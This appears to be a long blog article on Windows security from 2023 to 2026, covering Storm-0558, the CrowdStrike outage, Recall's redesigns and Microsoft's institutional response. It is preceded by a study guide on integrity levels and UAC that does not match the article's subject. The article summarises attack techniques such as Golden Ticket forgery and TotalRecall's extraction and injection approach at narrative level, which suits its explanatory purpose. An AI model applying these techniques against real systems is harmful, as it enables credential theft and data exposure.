<StudyGuide slug="integrity-level-stack-mic-uipi-uac" keyTerms={[ { term: "Mandatory Integrity Control (MIC)", definition: "An access-check evaluator that compares the integrity level of a subject token to the integrity level of a target object before consulting the object's DACL. Denials short-circuit the access check; integrity beats identity." }, { term: "Integrity Level (IL)", definition: "A well-known SID under S-1-16-X carried on every token and securable object. Seven values: Untrusted, Low, Medium, Medium Plus, High, System, Protected Process." }, { term: "User Interface Privilege Isolation (UIPI)", definition: "The windowing-layer analog of MIC. Blocks dangerous window messages, hooks, and input injection from lower-IL processes targeting higher-IL windows on the same desktop." }, { term: "Split-token model", definition: "Admin Approval Mode: an administrator's logon produces a Medium-IL filtered token plus a dormant High-IL linked token. The filtered token runs the interactive shell." }, { term: "Secure Desktop", definition: "A separate desktop object (Winlogon) within WinSta0 in the user's interactive session, on which consent.exe renders the UAC prompt. Not Session 0." }, { term: "Application Information service (Appinfo)", definition: "The SYSTEM-trusted Windows service that mediates the filtered-to-linked token swap at elevation time. Exposes RAiLaunchAdminProcess." }, { term: "Auto-elevation allowlist", definition: "The internal Appinfo allowlist of Microsoft-signed binaries in trusted directories whose manifests assert autoElevate=true. Four gates: manifest, signature, path, allowlist entry." }, { term: "COM Elevation Moniker", definition: "Per-object elevation via Elevation:Administrator!new:{CLSID}. Spins up a single CLSID in an isolated High-IL dllhost.exe while the caller stays Medium." }, { term: "System Managed Administrator Account (SMAA)", definition: "The per-user separate identity Administrator Protection provisions at first elevation. Different SID, profile, HKCU, LUID from the calling user." }, { term: "Biba Star Integrity Property", definition: "No write up: a subject at integrity level Is cannot write an object at integrity level Io > Is. MIC implements this as the default NO_WRITE_UP policy." } ]} questions={[ { q: "Why is MIC a separate evaluator rather than another ACE in the DACL?", a: "Because DACLs are discretionary by definition; an object owner can rewrite the DACL. MIC's mandatory semantics require an evaluator that runs before the DACL and cannot be overridden by it. The HRU 1976 undecidability of the access-matrix safety question is the formal reason mandatory policy cannot be encoded as discretionary ACEs and remain decidable." }, { q: "Why doesn't the consent prompt elevate?", a: "Because the elevated token was constructed at logon by LSA, not at consent time by the prompt. The prompt asks the user whether the OS may use the already-existing linked full token to launch a new process. The token swap is performed by Appinfo, not by consent.exe; the prompt is the consent surface on top of a token-swap primitive." }, { q: "Why does UIPI block WM_SETTEXT but not WM_PAINT?", a: "Because WM_SETTEXT mutates the receiving window's state (the message replaces the window's text), and an attacker who can mutate a higher-IL window's state has gained influence over the higher-IL process. WM_PAINT only asks the window to redraw itself; it carries no attacker-controlled mutation, so allowing it from lower-IL senders is safe." }, { q: "Which Biba rules does MIC actually implement?", a: "Just one. MIC implements the Star Integrity Property (NO_WRITE_UP) as the default policy on every object that does not specify otherwise. MIC does not implement Biba's Simple Integrity Property (no read down) at all -- there is no NO_READ_DOWN policy in winnt.h. The opt-in NO_READ_UP bit MIC exposes is structurally a Bell-LaPadula simple-security analog applied to integrity SIDs, not a Biba rule. MIC does not implement the Invocation Property either; brokered elevation (COM Elevation Moniker, ShellExecuteEx 'runas', Appinfo) is the operationally usable workaround." }, { q: "What changed in November 2024 that turned UAC's elevation transition into a security boundary?", a: "Administrator Protection replaced the split-token model's four shared properties (same SID, same %USERPROFILE%, same HKCU, same LUID) with a System Managed Administrator Account that differs on all four dimensions, and required Windows Hello integrated authentication for every elevation. The structural identity separation defeats the entire registry-hijack bypass class. The residual surface is the UI Access carve-out inherited unchanged from Vista 2007." } ]} />

The Layer Above the OS: The Windows Security Wars Part 6 (2023-2026)

noreply@paragmali.com (Parag Mali) — Sat, 30 May 2026 00:00:00 GMT

**Three failures. Three soft layers. One era.** Between 2023 and 2026, Microsoft publicly admitted that the largest attack surface on a modern Windows machine is no longer the OS itself -- it is the third-party kernel-mode security vendor, the institution's own identity-token custody, and the AI feature plane sitting on top of both.

Storm-0558 forged enterprise Exchange tokens with a 2016 consumer signing key. CrowdStrike's July 19, 2024 outage bricked roughly 8.5 million Windows hosts in ninety minutes -- no attacker, no exploit, just twenty bytes of bad data in a sanctioned kernel driver. The Recall saga proved that VBS, TPM, and DPAPI do not know how to enforce policy on what an AI agent decides to do next.

Microsoft's reply is the Secure Future Initiative, the Windows Endpoint Security Platform, and the April 14, 2026 Cross-Signing trust deprecation -- the first sustained engineering re-architecture of all three soft spots in parallel. Whether the response lands before the 2026 ransomware wave is the open forward question.

1. Twenty Bytes at 04:09 UTC

At 04:09 UTC on July 19, 2024, a CrowdStrike Falcon sensor running on roughly 8.5 million Windows hosts pulled a routine Rapid Response Content update [@ms-weston-jul20-2024] -- Channel File 291, twenty-one input fields where the in-kernel Content Interpreter expected twenty, the twenty-first treated as an address the kernel was never meant to follow [@crowdstrike-rca-pdf] -- and the world's airline desks, hospital admissions systems, and emergency dispatch terminals began the bluest morning in the history of the NT kernel. No attacker was involved. No exploit ran. A non-malicious data-parsing defect inside a sanctioned, signed, kernel-mode third-party security driver took down a sovereign country's flight network in ninety minutes [@ms-jul27-2024-security-tools] because the operating system, twenty-five years earlier, had agreed to let security vendors run there [@theregister-2006-vista].

Three months before that morning, the United States Cyber Safety Review Board had published a different verdict on a different vendor failure. Its review of the summer 2023 Microsoft Exchange Online intrusion -- the Storm-0558 episode in which a Chinese threat actor forged Outlook tokens against enterprise Exchange Online using a 2016 consumer-tier Microsoft Account signing key -- concluded that the breach was "preventable and should never have occurred" and that "Microsoft's security culture was inadequate and requires an overhaul" [@csrb-2024]. The CSRB had only reviewed two prior incidents [@dhs-press-2024]; the third reviewed company was the steward of the world's most widely deployed operating system.

Ten weeks after the Storm-0558 verdict, on June 13, 2024, Microsoft's group product manager for Windows quietly added an in-place editor's note to a blog post he had published six days earlier. The note pulled the company's flagship Copilot+ PC AI feature, Recall, from a planned ship date of June 18, 2024 -- five days before launch -- and shifted it to the Windows Insider Program [@recall-davuluri-jun7-2024].

Note: This is the sixth installment of The Windows Security Wars. Earlier parts walked BitLocker, Credential Guard, VBS, Pluton, and the Defender-and-WDAC arc that produced the modern Windows security baseline. This part picks up where Part 5 left off and argues that the era's actual story is what happens above that baseline.

Three failures, three soft layers, one era -- and the 2023-2026 chapter is the first in NT's history in which the layer above the OS (the institution's own identity-token custody, the third-party kernel-mode security vendor, and the AI feature application plane) became the load-bearing security boundary under public scrutiny while the OS layer itself kept hardening. David Weston's July 20, 2024 post framed the 8.5 million figure as "less than one percent of all Windows machines" [@ms-weston-jul20-2024]. The number itself is sourced from Windows Error Reporting crash dumps and customer telemetry, so machines stuck in a boot loop with no network or with WER disabled are not counted; treat it as a credible lower bound rather than a full census [@wiki-crowdstrike-outage]. The framing is correct and worth holding onto: this is a story about which 1% mattered, not about the platform's defect rate. To see why that is an architectural inflection rather than a coincidence of three bad years, we have to walk the prior arcs the three events belong to.

2. Three Lineages Converging

The era did not begin in June 2023. Three long-running arcs converged on the 2023-2026 chapter, and each event in the opening is the latest generation of one of them.

Lineage 1: Identity-authority forgery

The first lineage is the oldest. In 1997, a researcher known as Hobbit, distributing through the Avian Research mailing list, documented that Windows CIFS authentication could be replayed with the password hash rather than the password itself. Microsoft's own Mitigating Pass-the-Hash and Other Credential Theft whitepaper, in its 2014 second edition, treats the Hobbit observation as the foundational primitive for the entire credential-theft family [@ms-pth-whitepaper]. In 2014, Benjamin Delpy stood up at Black Hat USA and demonstrated that the Active Directory KRBTGT account's long-lived signing key, once stolen, let an attacker mint Kerberos tickets for any user, including domain administrators -- the "Golden Ticket" attack, packaged into the mimikatz toolchain [@delpy-bh-slides] [@mimikatz-github]. In 2017, CyberArk's Shaked Reiner extended the same idea to SAML identity providers: steal the IdP's signing certificate and mint cross-application tokens at will [@cyberark-golden-saml]. In December 2020, FireEye and Microsoft together disclosed that a sophisticated nation-state actor had compromised the upstream SolarWinds build process and minted trusted certificates with that compromise [@mandiant-fireeye] [@msrc-solarwinds-2020].

In June 2023, Storm-0558 widened the trust domain again. The forged tokens were signed by a consumer-tier Microsoft Account key issued in April 2016 [@wiz-storm0558], but the tokens worked against enterprise Exchange Online inboxes [@mstic-storm0558-jul14-2023]. Each generation of this lineage widens the issuer domain by one level: from one user's hash, to one directory's ticket-signing key, to one IdP's SAML key, to one supply chain's signing certificate, to one cloud provider's consumer signing key crossing into its enterprise trust boundary.

flowchart LR A["1997: Pass-the-Hash, Hobbit"] --> B["2014: Golden Ticket, Delpy"] B --> C["2017: Golden SAML, Reiner"] C --> D["2020: Sunburst supply chain, FireEye and Microsoft"] D --> E["2023: Storm-0558 cross-tier MSA key"]

Lineage 2: Third-party AV in the kernel

The second lineage runs in parallel. In the late 1990s, anti-virus drivers on Windows NT loaded unsigned and hooked the kernel directly through the System Service Descriptor Table. PatchGuard arrived first, shipping in April 2005 with Windows XP Professional x64 Edition and Windows Server 2003 SP1 x64; it policed the integrity of protected kernel structures so SSDT hooking could no longer survive [@patchguard-2005-history]. Eighteen months later, Vista x64 made Kernel-Mode Code Signing (KMCS) mandatory: every kernel driver now had to chain to a trusted Authenticode certificate [@kmcs-policy-docs] [@msrc-vista-2005-kernelmode]. The combined effect landed at scale with Vista x64, because that was the release in which unsigned x64 kernel code stopped loading by default.

The Windows policy, introduced with x64 editions of Vista, that requires every kernel-mode driver to be signed by a certificate chaining to a Microsoft-trusted root. The Cross-Signing Program let third-party certificate authorities issue compatible certificates; the Windows Hardware Compatibility Program (WHCP) is the modern submission path.

The AV industry pushed back. McAfee, Symantec, and Kaspersky argued publicly through 2006-2009 that PatchGuard amounted to an antitrust violation, since Microsoft's own Defender ran where they were now locked out [@theregister-2006-vista] [@msnews-2006-collab]. The EU-mediated settlement that followed produced the substrate of what eventually became the Microsoft Virus Initiative (MVI) -- a sanctioned set of kernel-access patterns and APIs that third-party AV vendors could use [@mvi-criteria].

Microsoft's program for vetting third-party endpoint security vendors that ship code into Windows. Membership requires meeting Microsoft-defined product and testing criteria. MVI is the institutional residue of the 2006-2009 antitrust settlement that produced today's third-party-AV-in-kernel model.

By the early 2020s, the visible failure mode of the kernel-resident AV class had become BYOVD ("bring your own vulnerable driver") attacks, in which an attacker loaded a signed-but-buggy legitimate driver as a privilege-escalation primitive. Microsoft's response was the Vulnerable Driver Blocklist, default-on in Windows 11 22H2 [@driver-block-rules]. That settled the malicious-vendor case. It did not settle the failure mode CrowdStrike would demonstrate in 2024.

Lineage 3: AI as a security boundary

The third lineage is the youngest. Windows Hello, launched with Windows 10 in 2015, was the first widely deployed Windows feature whose security decisions depended on a statistical classifier -- the biometric matcher that decided whether the face in front of the camera matched the enrolled template [@hello-for-business]. Defender's machine-learning detection components and Edge's SmartScreen reputation engine extended the same pattern through 2017-2020: statistical scoring as one input to a security decision. Microsoft 365 Copilot, launched in 2023, moved the statistical surface deeper into the trust model by letting an LLM execute actions on a user's behalf inside the tenant.

On May 20, 2024, the Copilot+ PC class moved the statistical surface onto the local device with a programmable NPU and a flagship feature, Recall, designed to take screenshots of everything on screen and index them for semantic search [@copilot-pcs-may-20]. Recall would force the question the prior generation had merely circled: is the AI agent's judgment a security boundary, and if so, what enforces it?

All three lineages reach their newest soft layer in the same three-year window. The next question is whether each soft layer was equally well defended on the morning of June 15, 2023 -- the morning the United States State Department's GCC-High security operations center pulled the audit-log query that flagged the Storm-0558 token misuse [@csrb-2024].

3. Pre-CSRB Posture and Storm-0558

On the morning of June 15, 2023, Microsoft's security posture looked complete. A decade of methodical work had pushed the platform's boundary primitives downward and outward: BitLocker, Credential Guard, VBS, HVCI, Pluton; Smart App Control; Continuous Access Evaluation; Defender for Endpoint as a managed cloud service. The operating assumption was that the platform was the boundary worth defending and that the institution sat above the boundary as a trusted operator. By the close of business that day, the assumption was wrong, and the State Department's GCC-High SOC was about to be the first organization on the planet to find out. Per the CSRB report (page 11), Microsoft was notified on June 16, 2023 [@csrb-2024].

The Storm-0558 forgery primitive worked because four independent decisions, each defensible in isolation, had aligned across six years.

The four pre-conditions

The first pre-condition was an unrotated 2016 MSA consumer signing key. Wiz Research's reconstruction of the published JWKS history shows the certificate was issued April 5, 2016 and expired April 4, 2021; the key continued to be trusted by at least one Outlook Web Access validator after expiry [@wiz-storm0558].

The second pre-condition was software-resident custody at the moment of key acquisition. The MSA signing service was not in a hardware security module at the time; only after the April 2025 Secure Future Initiative progress report did Microsoft confirm that MSA and Entra ID signing keys had been moved to hardware-backed security modules with automatic rotation and that the MSA signing service itself had been migrated to Azure Confidential VMs [@sfi-apr-2025].

The third pre-condition was a converged OWA token validator that accepted tokens signed by either MSA or Entra ID issuers. The September 2018 metadata-endpoint convergence had been a developer-experience decision that worked correctly; the failure was a later OWA migration onto that endpoint without adding the cross-tier guard.

The fourth was a missing issuer and audience check on the OWA validation path. Microsoft's September 6, 2023 root cause statement, later edited in place on March 12, 2024, is unambiguous: "developers in the mail system incorrectly assumed libraries performed complete validation and did not add the required issuer/scope validation" [@msrc-storm0558-key-acq].

flowchart TD A["2016 MSA signing certificate issued"] --> E["Forgery primitive"] B["Software-resident key custody"] --> E C["Converged MSA plus Entra ID validator endpoint"] --> E D["OWA path missing iss and aud validation"] --> E E --> F["Forged tokens accepted by enterprise Exchange Online"]

The combination produced a forgery primitive that worked at nation-state scale. The CSRB tallied the victims: 22 enterprise organizations, approximately 503 personal accounts, and roughly 60,000 emails from State Department accounts [@csrb-2024]. The CSRB's April 2, 2024 verdict, on page ii of the public report, is the load-bearing sentence of the era and is reproduced verbatim in the PullQuote below [@csrb-2024]. The report was the third the Board had completed since its February 2022 announcement [@dhs-press-2024]; the prior two had reviewed Log4j and Lapsus$, neither of which was a single-vendor failure of the same kind [@thehackernews-csrb] [@cybersecuritydive-csrb].

A United States public-private review board, modeled loosely on the National Transportation Safety Board, that conducts after-action reviews of consequential cybersecurity incidents. The CSRB has no enforcement authority; its product is a public report with recommendations. The consumer-tier identity tenant that backs personal Outlook, OneDrive, Xbox, and similar consumer services. Its canonical tenant GUID at the OpenID Connect discovery endpoint is `9188040d-6c67-4c5b-b112-36a304b66dad` [@msa-oidc-discovery]. The Storm-0558 forgery primitive used an MSA-issued signing key against an enterprise Exchange Online validator that did not reject the consumer-tier issuer. This intrusion was preventable and should never have occurred... Microsoft's security culture was inadequate and requires an overhaul. -- United States Cyber Safety Review Board, *Review of the Summer 2023 Microsoft Exchange Online Intrusion*, April 2, 2024 [@csrb-2024].

Note: Microsoft's September 6, 2023 post initially hypothesized that the MSA key had been extracted from a 2021 crash dump. On March 12, 2024 Microsoft edited the post in place with a verbatim note: "the actor access may have resulted from a crash dump in 2021, but we have not found a crash dump containing the impacted key material" [@msrc-storm0558-key-acq]. The CSRB report (page 17) is equally explicit: "Microsoft has been unable to determine how or when Storm-0558 obtained the MSA key" [@csrb-2024]. Any account that asserts the crash-dump path as fact is reading a retracted hypothesis as confirmed history.

The validation step Microsoft says was missing on the OWA path is not exotic: RFC 8725, the IETF's JSON Web Token best current practices, treats issuer and audience checks as baseline obligations [@rfc-8725]. The browser-runnable snippet below shows the shape of the check the OWA validator skipped.

{` const consumerTenantGuid = "9188040d-6c67-4c5b-b112-36a304b66dad"; const token = { iss: "login.microsoftonline.com/" + consumerTenantGuid + "/v2.0", aud: "outlook.office.com", sub: "victim@statedept.example", };

function validate(token, expectedIssuer, expectedAudience) { if (token.iss !== expectedIssuer) return "reject: wrong issuer"; if (token.aud !== expectedAudience) return "reject: wrong audience"; return "accept"; }

// What the OWA path should have done for enterprise mailboxes const enterpriseTenantGuid = "your-enterprise-tenant-guid"; const enterpriseIssuer = "login.microsoftonline.com/" + enterpriseTenantGuid + "/v2.0"; console.log(validate(token, enterpriseIssuer, "outlook.office.com")); `}

Storm-0558 was the first half of the proof: the layer above the OS -- Microsoft's own identity-token custody -- is a soft layer. The second half arrived almost exactly one year later, on July 19, 2024. Before walking that morning, we have to walk the institutional response Microsoft launched in the four months between the two events, because the response is what the rest of the article evaluates.

4. Five Threads Across 2023-2026

The 2023-2026 era has five parallel storylines. They have to be walked as concurrent, not sequential, because the era's institutional fact is that all five moved at once and reinforced each other.

4.1 The CSRB and the Secure Future Initiative

Microsoft's response to Storm-0558 began five months before the CSRB ruled the breach preventable and continued for two years after. On November 2, 2023, Microsoft Vice Chair and President Brad Smith published a post on the company's On the Issues blog announcing the Secure Future Initiative (SFI). The original framing had three pillars: AI-based cyber defenses, advances in fundamental software engineering, and advocacy for international norms [@sfi-nov-2023].

Two events between November 2023 and May 2024 forced a reframing. The first was the January 2024 Midnight Blizzard disclosure -- the Russian SVR-linked actor that compromised Microsoft corporate email through a legacy test tenant. The second was the April 2, 2024 CSRB verdict. On May 3, 2024, in an unusual move, Microsoft Chairman and CEO Satya Nadella wrote directly to employees and posted the memo publicly: "I want to talk about something critical to our company's future: prioritizing security above all else... we will commit the entirety of our organization to SFI" [@sfi-may3-2024-nadella]. The Microsoft Security blog technical companion the same day reframed SFI as three principles (Secure by Design, Secure by Default, Secure Operations) and six pillars (Protect Identities and Secrets, Protect Tenants and Isolate Production Systems, Protect Networks, Protect Engineering Systems, Monitor and Detect Threats, Accelerate Response and Remediation) [@sfi-may3-2024-secblog].

On June 13, 2024, in front of the House Committee on Homeland Security, Brad Smith said the sentence that anchors Microsoft's post-CSRB posture: "Microsoft accepts responsibility for each and every one of the issues cited in the CSRB's report. Without equivocation or hesitation. And without any sense of defensiveness" [@smith-house-testimony-jun-2024] [@ms-on-issues-jun-2024].

Microsoft accepts responsibility for each and every one of the issues cited in the CSRB's report. Without equivocation or hesitation. And without any sense of defensiveness. -- Brad Smith, June 13, 2024, before the House Committee on Homeland Security [@smith-house-testimony-jun-2024].

The progress reports that followed quantified the institutional commitment. The September 23, 2024 update is the first to use Microsoft's signature phrase: "we have dedicated the equivalent of 34,000 full-time engineers to SFI -- making it the largest cybersecurity engineering effort in history" [@sfi-sept-2024]. The same post is the first to link senior leadership compensation to security outcomes and to formalize the Cybersecurity Governance Council and Deputy CISO structure. The April 21, 2025 progress report reports that MSA signing keys had been moved to hardware-backed security modules with automatic rotation, the MSA signing service had been migrated to Azure Confidential VMs, and identity-SDK validation for Microsoft's own apps had moved from 73% to 90% [@sfi-apr-2025]. The November 10, 2025 Windows-and-Surface-specific SFI report introduced the Hotpatch metric -- 81% of enrolled devices compliant within 24 hours of Patch Tuesday -- and announced the Rust rewrite of Surface UEFI firmware and Windows drivers, paired with the Open Device Partnership opening those Rust drivers to OEM partners [@sfi-nov-2025-windows].

Microsoft's "34,000 full-time engineers" wording is an FTE-equivalent calculation, not a literal headcount [@sfi-sept-2024]. The April 2025 report rephrases it as "34,000 engineers working full-time for 11 months" [@sfi-apr-2025], which is the same arithmetic in a more honest grammar.

SFI report	Identity-SDK validation	Signing-key custody	Audit-log retention	Hardware and firmware	Employee and exec ties
Nov 2, 2023 [@sfi-nov-2023]	Not yet reported	Pre-Storm-0558 baseline	Pre-incident baseline	Not in scope	Three pillars framing only
Sept 23, 2024 [@sfi-sept-2024]	Reported, no number	Azure Managed HSM with automatic rotation	2-year retention committed	Pluton firmware over OS channel	Senior leadership compensation tied; Cybersecurity Governance Council
Apr 21, 2025 [@sfi-apr-2025]	90% (up from 73%)	MSA service in Azure Confidential VMs; Entra ID migration in progress	2-year retention live	Pluton across all three x86 vendors	Continuing
Nov 10, 2025 [@sfi-nov-2025-windows]	Continuing	Continuing	Continuing	Surface UEFI and Windows drivers in Rust; Open Device Partnership	95% of employees completing AI-attack training

SFI is the first time a platform vendor has publicly tied executive compensation, two years of audit-log retention, the equivalent of 34,000 full-time engineers, a Rust rewrite of UEFI firmware and Windows drivers, and a sustained cross-progress-report measurement program to the explicit premise that the vendor's own security culture is part of the platform's attack surface. That is the institutional half of the thesis.

On the very day Brad Smith's House testimony committed Microsoft to the SFI roadmap, an entirely different soft layer -- one that had nothing to do with identity-token custody -- had already failed quietly. That morning's failure is the second thread.

4.2 Recall as the AI-feature security-review worked example

The second thread arrived from an unexpected direction. On the same June 13, 2024 that Brad Smith committed Microsoft to the SFI roadmap, Microsoft pulled its flagship Copilot+ PC AI feature five days before launch over a structural problem in its own threat model. The feature was Recall. The timeline that followed is the worked example of what post-SFI AI-feature security review looks like under sustained adversarial pressure.

On May 20, 2024, Yusuf Mehdi announced Copilot+ PCs with a 40+ TOPS NPU minimum and Recall as the flagship feature [@copilot-pcs-may-20]. Recall's Generation-1 design was simple: take a screenshot of the user's screen at intervals, extract text and entities with on-device AI, and store the result in an SQLite database protected by AES-128-XTS volume encryption plus filesystem ACLs scoped to the user. The "Recall is not shared with anyone" framing implied a clean trust boundary. It was wrong.

On May 28, 2024, the Swiss researcher Alexander Hagenah (@xaitax) released TotalRecall, a proof-of-concept extractor that walked the SQLite store with the user's own privileges and dumped every snapshot [@totalrecall-github]. Two days later, Kevin Beaumont's DoublePulsar post amplified the threat model into the community's consciousness with the line that defined the news cycle: "Recall enables threat actors to automate scraping everything you have ever looked at within seconds" [@beaumont-doublepulsar] [@helpnetsecurity-totalrecall]. On June 3, 2024, Google Project Zero's James Forshaw published the structural-bound observation that the rest of the Recall story would have to live with: "Spoiler, it is only protected through being ACL'ed to SYSTEM and so any privilege escalation (or non-security boundary cough) is sufficient to leak the information" [@forshaw-acl-jun3-2024]. The parenthetical pointed at Microsoft's own Security Servicing Criteria for Windows, which treats same-user post-authentication as not a security boundary [@msrc-servicing-criteria].

Spoiler, it is only protected through being ACL'ed to SYSTEM and so any privilege escalation (or non-security boundary *cough*) is sufficient to leak the information. -- James Forshaw, Google Project Zero, June 3, 2024 [@forshaw-acl-jun3-2024].

On June 7, 2024, Pavan Davuluri posted a Generation-2 commitment: Recall would be default-off, gated by Windows Hello Enhanced Sign-in Security, and would use just-in-time decryption [@recall-davuluri-jun7-2024]. On June 13, 2024, in an in-place edit to the same post, Davuluri pulled Recall from the planned June 18, 2024 Copilot+ PC ship date and moved it into the Windows Insider Program [@recall-davuluri-jun7-2024]. On September 27, 2024, Davuluri posted the Generation-3 architecture: "Encryption keys are protected via the Trusted Platform Module (TPM), tied to a user's Windows Hello Enhanced Sign-in Security identity, and can only be used by operations within a secure environment called a Virtualization-based Security Enclave (VBS Enclave)" [@recall-davuluri-sept27-2024]. Recall returned to Insiders on November 22, 2024, expanded to AMD and Intel Copilot+ silicon in spring 2025, and reached general availability on May 13, 2025 [@recall-manage-docs].

A user-mode trustlet that runs inside Virtual Trust Level 1 -- the same isolated environment used by Credential Guard and the Secure Kernel -- with an attested code identity, so that code outside the enclave (including a compromised normal-world kernel) cannot read enclave memory [@vbs-enclaves-docs]. Recall's Generation-3 design uses a VBS Enclave to perform decryption with TPM-bound keys gated by Windows Hello ESS [@recall-davuluri-sept27-2024] [@hello-ess-docs]. flowchart LR subgraph G1 ["Generation 1 (May 20, 2024)"] A1["Screenshots"] --> B1["Plaintext SQLite"] B1 --> C1["Filesystem ACL to user"] C1 --> D1["Any user-mode process reads"] end subgraph G3 ["Generation 3 (Sept 27, 2024)"] A3["Screenshots"] --> B3["AES-encrypted snapshot"] B3 --> C3["VBS Enclave decrypts in VTL1"] C3 --> D3["TPM key release"] D3 --> E3["Windows Hello ESS gate"] E3 --> F3["UI plane render"] end

Generation	Key storage	Decrypt gate	Trust boundary	Known public attack	Status
Gen 1 (May 20, 2024)	Software, filesystem ACL	Logon	Same user account	TotalRecall, May 28, 2024 [@totalrecall-github]	Withdrawn
Gen 2 (Jun 7, 2024)	Default-off, just-in-time decrypt	Hello ESS	Same user account	Not shipped	Withdrawn before June 18 [@recall-davuluri-jun7-2024]
Gen 3 (Sept 27, 2024)	TPM-bound, VBS Enclave [@recall-davuluri-sept27-2024]	Hello ESS plus enclave attestation	Enclave with attested identity	TotalRecall Reloaded, April 2026 -- standard-user COM and DLL injection against AIXHost.exe [@itnews-totalrecall-reloaded]	GA May 13, 2025 [@recall-manage-docs]

Recall is *not* the first Microsoft product to ship on VBS Enclaves. SQL Server 2019 Always Encrypted with secure enclaves, generally available November 4, 2019, is the substrate precedent and used the same VTL1 trustlet pattern Recall inherits [@sql-always-encrypted-enclaves]. The correct narrow claim is that Recall is the first VBS-Enclave deployment in the *Windows desktop shell* to face sustained adversarial review by named external researchers.

Note: Both the June 18, 2024 Copilot+ PC ship date and the October 1, 2024 broad-SKU 24H2 RTM date passed without Recall. Recall reached general availability on May 13, 2025 [@recall-manage-docs]. The "24H2 launched with Recall" framing repeated in secondary press is a marketing-cycle compression error; primary sources rule it out.

The April 2026 TotalRecall Reloaded disclosure closed the loop. Hagenah did not attack Recall's encryption, which he described as sound, or the VBS enclave, which he called "rock solid." He attacked the AIXHost.exe process that decrypts and renders the timeline for the user, using a standard-user COM and DLL injection chain. Microsoft determined that the technique "operates within the current, documented security design of Recall" [@itnews-totalrecall-reloaded]. The vault is solid; the delivery truck is, by design, not.

Recall demonstrated that the AI-feature application plane is a third soft layer, distinct from both identity-token custody and third-party kernel drivers. But the most measurable failure of the era did not involve an AI feature, an attacker, or an exploit. It involved twenty bytes.

4.3 CrowdStrike and the road to WESP

The third thread is the load-bearing one. A non-malicious data-parsing bug in a third-party kernel driver -- no attacker involved -- bricked roughly 8.5 million Windows hosts because the OS layer had given that third-party vendor kernel privilege. This is the failure mode the 2006-2009 EU-engagement settlement never stress-tested.

CrowdStrike's August 6, 2024 External Technical Root Cause Analysis names the mechanism precisely. Falcon ships two kinds of detection updates: signed Sensor Content shipped infrequently with the sensor itself, and Rapid Response Content shipped multiple times per day as data files interpreted by an in-kernel Content Interpreter. On July 19, 2024 at 04:09 UTC, CrowdStrike pushed Channel File 291, an IPC Template Instance file used by the Inter-Process Communication template type. The Content Interpreter expected 20 input parameters; the file provided 21. The mismatch produced an out-of-bounds memory read in csagent.sys. The kernel page fault that followed was logged by Microsoft's own incident analysis at nt!KiPageFault+0x369 with a csagent+0xe14ed faulting instruction address [@crowdstrike-rca-pdf] [@crowdstrike-exec-summary] [@ms-jul27-2024-security-tools].

CrowdStrike's term for the Rapid Response Content delivery unit -- a data file interpreted at runtime by the in-kernel Content Interpreter inside the Falcon sensor. Channel files are not driver binaries and do not go through KMCS; they configure the behavior of a driver that is already loaded [@crowdstrike-rca-pdf]. sequenceDiagram participant Cloud as CrowdStrike cloud participant Sensor as Falcon sensor (csagent.sys) participant CI as In-kernel Content Interpreter participant Kernel as NT kernel Cloud->>Sensor: Push Channel File 291 (IPC Template Instance) Sensor->>CI: Load 21 input parameters Note over CI: Expected 20 parameters, got 21 CI->>CI: Index past array bound CI->>Kernel: OOB read at csagent+0xe14ed Kernel->>Kernel: nt!KiPageFault+0x369 Kernel->>Sensor: BSOD across 8.5M hosts

The scale was unambiguous. David Weston's July 20, 2024 post put the number at "8.5 million Windows devices, or less than one percent of all Windows machines," and noted that the "broad economic and societal impacts reflect the use of CrowdStrike by enterprises that run many critical services" [@ms-weston-jul20-2024]. Delta Air Lines cancelled approximately 7,000 flights between July 19 and July 25 -- a figure the carrier's May 2025 lawsuit filings and contemporaneous reporting both anchor to [@wiki-crowdstrike-outage]. Parametrix estimated the direct losses to US Fortune 500 companies alone at roughly 5.4 billion dollars [@cso-hints-kernel].

Microsoft's response over the next nineteen months was a paced institutional walk away from the 2006-2009 settlement, framed publicly as resilience rather than retreat. On September 10, 2024, Microsoft hosted the Windows Endpoint Security Summit at Redmond with eight MVI vendors in attendance [@ms-securityweek-wesp]. David Weston's September 12, 2024 post captured the framing: "endpoint security vendors and government officials from the U.S. and Europe... strategies for improving resiliency and protecting our mutual customers' critical infrastructure" [@weston-sept12-2024-wess]. On November 19, 2024 at Ignite, Microsoft publicly named the Windows Resiliency Initiative [@thehackernews-crowdstrike-rca] [@ms-securityweek-wesp].

On June 26, 2025, the Windows Experience blog made the load-bearing commitment that re-opened the kernel-residency question: "Next month, we will deliver a private preview of the Windows endpoint security platform to a set of MVI partners. The new Windows capabilities will allow them to start building their solutions to run outside the Windows kernel. This means security products like anti-virus and endpoint protection solutions can run in user mode just as apps do" [@wri-jun26-2025]. The private preview opened in July 2025 to Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure [@ms-securityweek-wesp] [@heise-resilient-windows].

The Windows-supplied user-mode API surface for endpoint security vendors announced at Microsoft Build 2025 and opened to MVI 3.0 partners in private preview in July 2025 [@wri-jun26-2025]. WESP separates kernel-resident event collection (owned by Windows) from vendor-owned policy evaluation (run in a tamper-protected user-mode service). It is the architectural answer to the failure mode CrowdStrike demonstrated -- a vendor data-parsing bug can no longer take the kernel down with it.

In parallel, Microsoft began closing the legacy escape hatch. On March 26, 2026, Microsoft IT Pro group program manager Peter Waxman posted "Advancing Windows driver security: Removing trust for the cross-signed driver program," announcing that the April 14, 2026 Windows security update would remove trust for the cross-signed driver program in evaluation mode on Windows 11 24H2, 25H2, 26H1, and Server 2025 [@techcommunity-cross-signing]. The April 14, 2026 driver-protection KB followed, blocking the psmounterex.sys family as the first named exemplar [@april-2026-driver-kb]. Industry coverage framed the move as "closing a 20-year-old critical security hole" [@computerworld-cross-signing] [@techpowerup-cross-signing] [@cybersecuritynews-cross-signing]; the Custom Kernel Signers feature in Application Control for Business is the escape hatch Microsoft preserved for organizations that legitimately need to sign internal kernel drivers, with the Windows Hardware Compatibility Program as the canonical path [@custom-kernel-signers].

The legacy KMCS trust path, introduced in the early 2000s, that let third-party certificate authorities issue Windows-trusted code-signing certificates for kernel drivers. Because developers managed their own private keys, the program became a frequent target for credential theft and rootkit deployment [@cybersecuritynews-cross-signing]. The April 14, 2026 Windows update removes trust for cross-signed drivers in evaluation mode, leaving WHCP as the canonical submission path.

